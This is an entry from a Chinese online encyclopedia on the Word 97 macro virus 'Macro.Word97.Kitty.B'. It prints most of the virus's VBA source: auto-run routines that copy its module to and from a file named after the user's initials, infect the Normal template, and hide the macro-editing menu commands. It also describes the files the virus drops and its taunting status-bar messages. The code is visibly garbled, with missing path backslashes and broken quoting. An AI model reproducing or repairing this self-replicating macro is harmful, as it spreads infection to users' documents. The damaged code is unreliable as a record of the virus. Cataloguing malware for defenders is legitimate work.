“Macro.Word97.Kitty.B”的意思、由来-中文百科全书

词条

Macro.Word97.Kitty.B

释义

§ 概述

病毒别名：

处理时间：

威胁级别：★

中文名称：

病毒类型：宏病毒

影响系统：

§ 病毒行为:

a.病毒复制的方式:

通过模块传染:

Sub AutoOpen()

On Error Resume Next

If ActiveDocument.VBProject.VBComponents.Item(2).Name = Application.UserInitials Then

If Dir("c:" + Application.UserInitials) <> Application.UserInitials Then

ActiveDocument.VBProject.VBComponents.Item(x).Export ""c:"" + Application.UserInitials

End If

Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=Application.UserInitials, Object:=wdOrganizerObjectProjectItems

End If

Out:

End Sub

Sub AutoClose()

On Error Resume Next

ActiveDocument.VBProject.VBComponents.Import (""c:"" + Application.UserInitials)

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ToolsMacro()

End Sub

Sub ViewVBCode()

End Sub

Sub Autoexec()

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then

Open "c:v1.bas" For Output As 1

Print #1, "Attribute VB_Name = "v1"

Print #1, "Sub AutoOpen()"

Print #1, "ActiveDocument.VBProject.VBComponents.Import ("c:" + Application.UserInitials)

Print #1, "End Sub"

Close 1

NormalTemplate.VBProject.VBComponents.Import ("c:v1.bas")

End If

End Sub

b.病毒感染:

感染前先进行感染判断：

如果只读的Normal 模板的代码模块不为空,感染。 c.病毒生成磁盘文件:

c.1 生成一个 c:True/false.bat (True/false 由Word 处于的特殊模式决定)；

c.2 以用户名在 C:生成文件，如 C:Sunboy；

c.3 生成模板文件 D:Microsoft OfficeOfficeStartupNormalTemplate。

d.病毒对操作系统或者文件系统进行操作/破坏:

无。 e.病毒会对 Word、Excel 系统进行操作:

对 Word 系统进行操作:

修改 Word 标题：

" VicodinES /TNN /CB "

"Lovei sunboy"

在状态条上输出信息：

状态条显示15个"VicodinES "

状态条显示12个"VicodinES "

状态条显示10个" VicodinES "

状态条显示 yy = "VicodinES ---> VicodinES VicodinES ........"

状态条显示">:-) VicodinES .............." 选定已区域上输出信息：

“Lovei”

随便看

百科全书收录594082条中文百科知识，基本涵盖了大多数领域的百科知识，是一部内容开放、自由的电子版百科全书。